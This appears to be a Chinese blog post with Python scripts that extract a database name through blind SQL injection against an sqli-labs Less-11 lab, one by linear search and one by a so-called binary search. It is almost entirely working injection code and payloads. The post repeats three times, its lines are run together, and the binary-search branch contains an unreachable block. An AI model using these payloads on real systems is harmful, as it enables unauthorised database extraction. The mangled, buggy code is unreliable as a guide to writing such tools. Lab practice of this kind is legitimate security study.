关于sql时间盲注爆破数据库名

未使用二分法

import requestsimport datetime
headers = {
        "User - Agent": "Mozilla / 5.0(Windows NT 6.1;Win64;x64;rv: 82.0) Gecko / 20100101Firefox / 82.0"
    }def main():
    database = ""
    for n in range(1,9):
        for i in range(65,122):

            data = {
                "uname" : "admin'and If(ascii(substr(database(),{0},1))>{1},1,sleep(1))#".format(n, i),
                "passwd" : "11"

            }
            url = "http://192.168.0.100/sqli-labs-master/Less-11/"
            print(data)
            res = requests.post(url=url, data=data)
            if "admin" not in res.text:
                print(chr(i))
                database += str(chr(i))
                break
    print(database)if __name__ == "__main__":
    starttime = datetime.datetime.now()
    main()
    endtime = datetime.datetime.now()
    print(endtime-starttime)

使用二分法

import requestsimport datetime#基于时间盲注使用ascii()函数#1.编写盲注函数#2.编写二分法函数#3.编写ascii码转换函数def func():
    global f, g, h
    length_ascii = int(122-65)
    e = int(length_ascii/2)    #取中间数值28
    f = 65 + int(e)  #65和122中间的值93
    
    g = int(65 + 3/2*int(e)) #93+14   107
    h = int(65 + 1/2*int(e))  #65+14   79def injection_datebase():
    database = ""
    headers = {
        "User - Agent": "Mozilla / 5.0(Windows NT 6.1;Win64;x64;rv: 82.0) Gecko / 20100101Firefox / 82.0"
    }
    url = "http://192.168.0.100/sqli-labs-master/Less-11/"
    for n in range(1,9):
        data = {
                "uname": "admin'and If(ascii(substr(database(),{0},1))>{1},1,sleep(1))#".format(n, str(f)),#判断是否大于93
                "passwd": "11"
            }
        url = "http://192.168.0.100/sqli-labs-master/Less-11/"
        res = requests.post(url=url,data=data)
        if "admin" in res.text:              #ascii码大于中间值93
            res = requests.post(url="http://192.168.0.100/sqli-labs-master/Less-11/", data={
                "uname": "admin'and If(ascii(substr(database(),{0},1))>{1},1,sleep(1))#".format(n,str(g)),#判断是否大于107
                "passwd": "11"})
            if "admin" in res.text:
                for i in range(g,122):    #107-122
                    data = {
                        "uname": "admin'and If(ascii(substr(database(),{0},1))>{1},1,sleep(1))#".format(n, i),
                        "passwd": "11"

                    }
                    url = "http://192.168.0.100/sqli-labs-master/Less-11/"
                    print(data)
                    res = requests.post(url=url, data=data)
                    if "admin" not in res.text:
                        print(chr(i))
                        database += str(chr(i))
                        break
            elif "admin" not in res.text:
                for i in range(f, g):  #93-107
                    data = {
                        "uname": "admin'and If(ascii(substr(database(),{0},1))>{1},1,sleep(1))#".format(n, i),
                        "passwd": "11"

                    }
                    url = "http://192.168.0.100/sqli-labs-master/Less-11/"
                    print(data)
                    res = requests.post(url=url, data=data)
                    if "admin" not in res.text:
                        print(chr(i))
                        database += str(chr(i))
                        break

        elif "admin" not in res.text:       #ascii码小于93
            if "admin" in res.text:  #
                res = requests.post(url="http://192.168.0.100/sqli-labs-master/Less-11/", data={
                    "uname": "admin'and If(ascii(substr(database(),{0},1))>{1},1,sleep(1))#".format(n, h),
                    # 判断是否大于79
                    "passwd": "11"})
                if "admin" in res.text:     #大于79
                    for i in range(h, f):  # 79-93
                        data = {
                            "uname": "admin'and If(ascii(substr(database(),{0},1))>{1},1,sleep(1))#".format(n, i),
                            "passwd": "11"

                        }
                        url = "http://192.168.0.100/sqli-labs-master/Less-11/"
                        print(data)
                        res = requests.post(url=url, data=data)
                        if "admin" not in res.text:
                            print(chr(i))
                            database += str(chr(i))
                            break
                elif "admin" not in res.text:   #小于79
                    for i in range(65, h):  # 65-79
                        data = {
                            "uname": "admin'and If(ascii(substr(database(),{0},1))>{1},1,sleep(1))#".format(n, i),
                            "passwd": "11"

                        }
                        url = "http://192.168.0.100/sqli-labs-master/Less-11/"
                        print(data)
                        res = requests.post(url=url, data=data)
                        if "admin" not in res.text:
                            print(chr(i))
                            database += str(chr(i))
                            break
    print(database)def main():

    func()
    injection_datebase()if __name__ == "__main__":
    starttime = datetime.datetime.now()
    main()
    endtime = datetime.datetime.now()
    print(endtime-starttime)

关于sql时间盲注爆破数据库名

未使用二分法

import requestsimport datetime
headers = {
        "User - Agent": "Mozilla / 5.0(Windows NT 6.1;Win64;x64;rv: 82.0) Gecko / 20100101Firefox / 82.0"
    }def main():
    database = ""
    for n in range(1,9):
        for i in range(65,122):

            data = {
                "uname" : "admin'and If(ascii(substr(database(),{0},1))>{1},1,sleep(1))#".format(n, i),
                "passwd" : "11"

            }
            url = "http://192.168.0.100/sqli-labs-master/Less-11/"
            print(data)
            res = requests.post(url=url, data=data)
            if "admin" not in res.text:
                print(chr(i))
                database += str(chr(i))
                break
    print(database)if __name__ == "__main__":
    starttime = datetime.datetime.now()
    main()
    endtime = datetime.datetime.now()
    print(endtime-starttime)

使用二分法

import requestsimport datetime#基于时间盲注使用ascii()函数#1.编写盲注函数#2.编写二分法函数#3.编写ascii码转换函数def func():
    global f, g, h
    length_ascii = int(122-65)
    e = int(length_ascii/2)    #取中间数值28
    f = 65 + int(e)  #65和122中间的值93
    
    g = int(65 + 3/2*int(e)) #93+14   107
    h = int(65 + 1/2*int(e))  #65+14   79def injection_datebase():
    database = ""
    headers = {
        "User - Agent": "Mozilla / 5.0(Windows NT 6.1;Win64;x64;rv: 82.0) Gecko / 20100101Firefox / 82.0"
    }
    url = "http://192.168.0.100/sqli-labs-master/Less-11/"
    for n in range(1,9):
        data = {
                "uname": "admin'and If(ascii(substr(database(),{0},1))>{1},1,sleep(1))#".format(n, str(f)),#判断是否大于93
                "passwd": "11"
            }
        url = "http://192.168.0.100/sqli-labs-master/Less-11/"
        res = requests.post(url=url,data=data)
        if "admin" in res.text:              #ascii码大于中间值93
            res = requests.post(url="http://192.168.0.100/sqli-labs-master/Less-11/", data={
                "uname": "admin'and If(ascii(substr(database(),{0},1))>{1},1,sleep(1))#".format(n,str(g)),#判断是否大于107
                "passwd": "11"})
            if "admin" in res.text:
                for i in range(g,122):    #107-122
                    data = {
                        "uname": "admin'and If(ascii(substr(database(),{0},1))>{1},1,sleep(1))#".format(n, i),
                        "passwd": "11"

                    }
                    url = "http://192.168.0.100/sqli-labs-master/Less-11/"
                    print(data)
                    res = requests.post(url=url, data=data)
                    if "admin" not in res.text:
                        print(chr(i))
                        database += str(chr(i))
                        break
            elif "admin" not in res.text:
                for i in range(f, g):  #93-107
                    data = {
                        "uname": "admin'and If(ascii(substr(database(),{0},1))>{1},1,sleep(1))#".format(n, i),
                        "passwd": "11"

                    }
                    url = "http://192.168.0.100/sqli-labs-master/Less-11/"
                    print(data)
                    res = requests.post(url=url, data=data)
                    if "admin" not in res.text:
                        print(chr(i))
                        database += str(chr(i))
                        break

        elif "admin" not in res.text:       #ascii码小于93
            if "admin" in res.text:  #
                res = requests.post(url="http://192.168.0.100/sqli-labs-master/Less-11/", data={
                    "uname": "admin'and If(ascii(substr(database(),{0},1))>{1},1,sleep(1))#".format(n, h),
                    # 判断是否大于79
                    "passwd": "11"})
                if "admin" in res.text:     #大于79
                    for i in range(h, f):  # 79-93
                        data = {
                            "uname": "admin'and If(ascii(substr(database(),{0},1))>{1},1,sleep(1))#".format(n, i),
                            "passwd": "11"

                        }
                        url = "http://192.168.0.100/sqli-labs-master/Less-11/"
                        print(data)
                        res = requests.post(url=url, data=data)
                        if "admin" not in res.text:
                            print(chr(i))
                            database += str(chr(i))
                            break
                elif "admin" not in res.text:   #小于79
                    for i in range(65, h):  # 65-79
                        data = {
                            "uname": "admin'and If(ascii(substr(database(),{0},1))>{1},1,sleep(1))#".format(n, i),
                            "passwd": "11"

                        }
                        url = "http://192.168.0.100/sqli-labs-master/Less-11/"
                        print(data)
                        res = requests.post(url=url, data=data)
                        if "admin" not in res.text:
                            print(chr(i))
                            database += str(chr(i))
                            break
    print(database)def main():

    func()
    injection_datebase()if __name__ == "__main__":
    starttime = datetime.datetime.now()
    main()
    endtime = datetime.datetime.now()
    print(endtime-starttime)

关于sql时间盲注爆破数据库名

未使用二分法

import requestsimport datetime
headers = {
        "User - Agent": "Mozilla / 5.0(Windows NT 6.1;Win64;x64;rv: 82.0) Gecko / 20100101Firefox / 82.0"
    }def main():
    database = ""
    for n in range(1,9):
        for i in range(65,122):

            data = {
                "uname" : "admin'and If(ascii(substr(database(),{0},1))>{1},1,sleep(1))#".format(n, i),
                "passwd" : "11"

            }
            url = "http://192.168.0.100/sqli-labs-master/Less-11/"
            print(data)
            res = requests.post(url=url, data=data)
            if "admin" not in res.text:
                print(chr(i))
                database += str(chr(i))
                break
    print(database)if __name__ == "__main__":
    starttime = datetime.datetime.now()
    main()
    endtime = datetime.datetime.now()
    print(endtime-starttime)

使用二分法

import requestsimport datetime#基于时间盲注使用ascii()函数#1.编写盲注函数#2.编写二分法函数#3.编写ascii码转换函数def func():
    global f, g, h
    length_ascii = int(122-65)
    e = int(length_ascii/2)    #取中间数值28
    f = 65 + int(e)  #65和122中间的值93
    
    g = int(65 + 3/2*int(e)) #93+14   107
    h = int(65 + 1/2*int(e))  #65+14   79def injection_datebase():
    database = ""
    headers = {
        "User - Agent": "Mozilla / 5.0(Windows NT 6.1;Win64;x64;rv: 82.0) Gecko / 20100101Firefox / 82.0"
    }
    url = "http://192.168.0.100/sqli-labs-master/Less-11/"
    for n in range(1,9):
        data = {
                "uname": "admin'and If(ascii(substr(database(),{0},1))>{1},1,sleep(1))#".format(n, str(f)),#判断是否大于93
                "passwd": "11"
            }
        url = "http://192.168.0.100/sqli-labs-master/Less-11/"
        res = requests.post(url=url,data=data)
        if "admin" in res.text:              #ascii码大于中间值93
            res = requests.post(url="http://192.168.0.100/sqli-labs-master/Less-11/", data={
                "uname": "admin'and If(ascii(substr(database(),{0},1))>{1},1,sleep(1))#".format(n,str(g)),#判断是否大于107
                "passwd": "11"})
            if "admin" in res.text:
                for i in range(g,122):    #107-122
                    data = {
                        "uname": "admin'and If(ascii(substr(database(),{0},1))>{1},1,sleep(1))#".format(n, i),
                        "passwd": "11"

                    }
                    url = "http://192.168.0.100/sqli-labs-master/Less-11/"
                    print(data)
                    res = requests.post(url=url, data=data)
                    if "admin" not in res.text:
                        print(chr(i))
                        database += str(chr(i))
                        break
            elif "admin" not in res.text:
                for i in range(f, g):  #93-107
                    data = {
                        "uname": "admin'and If(ascii(substr(database(),{0},1))>{1},1,sleep(1))#".format(n, i),
                        "passwd": "11"

                    }
                    url = "http://192.168.0.100/sqli-labs-master/Less-11/"
                    print(data)
                    res = requests.post(url=url, data=data)
                    if "admin" not in res.text:
                        print(chr(i))
                        database += str(chr(i))
                        break

        elif "admin" not in res.text:       #ascii码小于93
            if "admin" in res.text:  #
                res = requests.post(url="http://192.168.0.100/sqli-labs-master/Less-11/", data={
                    "uname": "admin'and If(ascii(substr(database(),{0},1))>{1},1,sleep(1))#".format(n, h),
                    # 判断是否大于79
                    "passwd": "11"})
                if "admin" in res.text:     #大于79
                    for i in range(h, f):  # 79-93
                        data = {
                            "uname": "admin'and If(ascii(substr(database(),{0},1))>{1},1,sleep(1))#".format(n, i),
                            "passwd": "11"

                        }
                        url = "http://192.168.0.100/sqli-labs-master/Less-11/"
                        print(data)
                        res = requests.post(url=url, data=data)
                        if "admin" not in res.text:
                            print(chr(i))
                            database += str(chr(i))
                            break
                elif "admin" not in res.text:   #小于79
                    for i in range(65, h):  # 65-79
                        data = {
                            "uname": "admin'and If(ascii(substr(database(),{0},1))>{1},1,sleep(1))#".format(n, i),
                            "passwd": "11"

                        }
                        url = "http://192.168.0.100/sqli-labs-master/Less-11/"
                        print(data)
                        res = requests.post(url=url, data=data)
                        if "admin" not in res.text:
                            print(chr(i))
                            database += str(chr(i))
                            break
    print(database)def main():

    func()
    injection_datebase()if __name__ == "__main__":
    starttime = datetime.datetime.now()
    main()
    endtime = datetime.datetime.now()
    print(endtime-starttime)